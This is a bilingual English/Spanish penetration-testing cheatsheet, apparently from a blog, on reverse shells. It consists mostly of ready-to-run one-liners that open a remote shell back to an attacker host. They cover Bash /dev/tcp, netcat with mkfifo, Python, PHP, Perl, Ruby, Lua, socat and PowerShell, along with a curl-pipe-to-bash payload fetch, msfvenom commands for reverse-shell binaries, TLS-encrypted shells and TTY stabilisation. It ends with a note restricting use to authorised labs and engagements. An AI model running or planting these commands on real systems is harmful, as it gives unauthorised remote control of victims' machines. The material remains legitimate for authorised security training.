root@sparrow:~/writeups$ cat reverse-shells.md
// Shells & Pivoting
Reverse Shells
21 Jul 2026
· 7 min read
A reverse shell makes the victim machine start the connection back to the attacker, instead of waiting for incoming connections like a bind shell. It is the standard technique after exploiting a service, because it usually gets through firewalls and NAT that block inbound ports but allow outbound traffic. This cheatsheet gathers the most-used one-liners by language and the tools to catch them.
There is no universal one-liner: what works depends on which interpreters exist on the victim and on which shell /bin/sh actually is. The /dev/tcp trick is a Bash feature, not POSIX sh, so it fails on systems where /bin/sh is dash. And since netcat's -e flag is missing from almost every modern build, the real field pattern is the mkfifo one. That is why it pays to keep several alternatives at hand.
1. Beginner level — one-liners by language
| Command | What it does |
|---|---|
bash -i >& /dev/tcp/<ip>/4444 0>&1 | Bash reverse shell |
nc <ip> 4444 -e /bin/bash | Netcat reverse shell (-e) |
nc <ip> 4444 -e /bin/sh | Same with /bin/sh |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip> 4444 >/tmp/f | Netcat without -e (mkfifo) |
python3 -c 'import pty,os,socket;s=socket.socket();s.connect(("<ip>",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")' | Python3 reverse shell |
php -r '$s=fsockopen("<ip>",4444);exec("/bin/sh -i <&3 >&3 2>&3");' | PHP reverse shell |
perl -e 'use Socket;...;exec("/bin/sh -i");' | Perl reverse shell |
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<ip>",4444)...' | Ruby reverse shell |
socat TCP:<ip>:4444 EXEC:/bin/bash | Socat reverse shell |
nc -lvnp 4444 | Listener on the attacker machine |
sh -i >& /dev/udp/<ip>/4444 0>&1 | Reverse shell over UDP |
curl http://<ip>/shell.sh | bash | Downloads and runs a payload |
lua -e 'require("socket");...os.execute("/bin/sh -i")' | Lua reverse shell |
rlwrap nc -lvnp 4444 | Listener with command history |
2. Advanced level — TTY, PowerShell and encryption
| Command | What it does |
|---|---|
python3 -c 'import pty;pty.spawn("/bin/bash")' | Stabilizes the TTY (step 1) |
Ctrl+Z ; stty raw -echo; fg | Returns terminal control (step 2) |
export TERM=xterm; stty rows 50 cols 200 | Adjusts rows and columns (step 3) |
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('<ip>',4444)..." | PowerShell reverse shell |
powershell -e <base64> | Runs an encoded PowerShell payload |
socat TCP:<ip>:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane | Fully interactive shell via socat |
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444 | Socat listener with full TTY |
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o s | Generates a reverse binary (Linux) |
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o s.exe | Reverse EXE for Windows |
openssl req -x509 -newkey rsa:2048 -keyout k.pem -out c.pem -nodes | Generates a cert for an encrypted shell |
openssl s_server -quiet -key k.pem -cert c.pem -port 4444 | TLS listener with OpenSSL |
mkfifo /tmp/s;openssl s_client -connect <ip>:4444 </tmp/s|sh >/tmp/s | Encrypted reverse shell (client) |
stty -a | Checks rows/columns to adjust the TTY |
nc -lvnp 4444 -s <ip> | Listener binding the listening IP |
3. Details people miss
- Always start the listener (
nc -lvnp 4444) before firing the payload: if the victim connects and nothing is listening, the shell is lost. - The
/dev/tcptrick belongs to Bash. On many Linux systems/bin/shis dash and does not support it: invokebashexplicitly or use another method. - Netcat's
-eflag is absent from most modern builds (nmap-ncat, OpenBSD netcat). Ifnc -efails, use themkfifovariant. - The shell you get is dumb: no Ctrl+C, no arrows or tab. Stabilize the TTY (
python3 -c 'import pty;pty.spawn(...)'+stty raw -echo) before working. - After stabilizing, export
TERM=xtermand setrows/colswithstty, or full-screen tools likevimorlesswill break.
Responsible use
These commands are for systems you own or have explicit written authorisation to test (labs, CTFs, contracted engagements). Using them against third-party infrastructure without permission is illegal in most countries.
Una reverse shell hace que la máquina víctima inicie la conexión de vuelta hacia el atacante, en lugar de esperar conexiones entrantes como una bind shell. Es la técnica estándar tras explotar un servicio, porque suele atravesar firewalls y NAT que bloquean puertos entrantes pero permiten tráfico saliente. Esta cheatsheet reúne los one-liners más usados por lenguaje y las herramientas para recibirlos.
No existe un one-liner universal: lo que funciona depende de qué intérpretes hay en la víctima y de qué shell es realmente /bin/sh. El truco /dev/tcp es una característica de Bash, no de POSIX sh, así que falla en sistemas donde /bin/sh es dash. Y como el flag -e de netcat falta en casi todas las builds modernas, el patrón real de campo es el mkfifo. Por eso conviene tener a mano varias alternativas.
1. Nivel principiante — one-liners por lenguaje
| Comando | Qué hace |
|---|---|
bash -i >& /dev/tcp/<ip>/4444 0>&1 | Reverse shell en Bash |
nc <ip> 4444 -e /bin/bash | Reverse shell con netcat (-e) |
nc <ip> 4444 -e /bin/sh | Igual con /bin/sh |
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <ip> 4444 >/tmp/f | Netcat sin -e (mkfifo) |
python3 -c 'import pty,os,socket;s=socket.socket();s.connect(("<ip>",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")' | Reverse shell en Python3 |
php -r '$s=fsockopen("<ip>",4444);exec("/bin/sh -i <&3 >&3 2>&3");' | Reverse shell en PHP |
perl -e 'use Socket;...;exec("/bin/sh -i");' | Reverse shell en Perl |
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<ip>",4444)...' | Reverse shell en Ruby |
socat TCP:<ip>:4444 EXEC:/bin/bash | Reverse shell con socat |
nc -lvnp 4444 | Listener en la máquina atacante |
sh -i >& /dev/udp/<ip>/4444 0>&1 | Reverse shell por UDP |
curl http://<ip>/shell.sh | bash | Descarga y ejecuta un payload |
lua -e 'require("socket");...os.execute("/bin/sh -i")' | Reverse shell en Lua |
rlwrap nc -lvnp 4444 | Listener con historial de comandos |
2. Nivel avanzado — TTY, PowerShell y cifrado
| Comando | Qué hace |
|---|---|
python3 -c 'import pty;pty.spawn("/bin/bash")' | Estabiliza la TTY (paso 1) |
Ctrl+Z ; stty raw -echo; fg | Devuelve el control de la terminal (paso 2) |
export TERM=xterm; stty rows 50 cols 200 | Ajusta filas y columnas (paso 3) |
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('<ip>',4444)..." | Reverse shell en PowerShell |
powershell -e <base64> | Ejecuta un payload PowerShell codificado |
socat TCP:<ip>:4444 EXEC:'bash -li',pty,stderr,setsid,sigint,sane | Shell interactiva perfecta por socat |
socat file:`tty`,raw,echo=0 TCP-LISTEN:4444 | Listener socat con TTY completa |
msfvenom -p linux/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f elf -o s | Genera un binario reverse (Linux) |
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=4444 -f exe -o s.exe | Reverse EXE para Windows |
openssl req -x509 -newkey rsa:2048 -keyout k.pem -out c.pem -nodes | Genera cert para shell cifrada |
openssl s_server -quiet -key k.pem -cert c.pem -port 4444 | Listener TLS con OpenSSL |
mkfifo /tmp/s;openssl s_client -connect <ip>:4444 </tmp/s|sh >/tmp/s | Reverse shell cifrada (cliente) |
stty -a | Consulta filas/columnas para ajustar la TTY |
nc -lvnp 4444 -s <ip> | Listener fijando la IP de escucha |
3. Detalles que se pasan por alto
- Arranca siempre el listener (
nc -lvnp 4444) antes de disparar el payload: si la víctima conecta y no hay nada escuchando, la shell se pierde. - El truco
/dev/tcpes propio de Bash. En muchos Linux/bin/shes dash y no lo soporta: invocabashexplícitamente o usa otro método. - El flag
-ede netcat no existe en la mayoría de builds modernas (nmap-ncat, OpenBSD netcat). Sinc -efalla, usa la variante conmkfifo. - La shell que recibes es dumb: sin Ctrl+C, sin flechas ni tab. Estabiliza la TTY (
python3 -c 'import pty;pty.spawn(...)'+stty raw -echo) antes de trabajar. - Tras estabilizar, exporta
TERM=xtermy ajustarows/colsconstty, o herramientas de pantalla completa comovimolessse romperán.
Uso responsable
Estos comandos son para entornos propios o con autorización explícita por escrito (laboratorios, CTF, auditorías contratadas). Usarlos contra infraestructura ajena sin permiso es ilegal en la mayoría de países.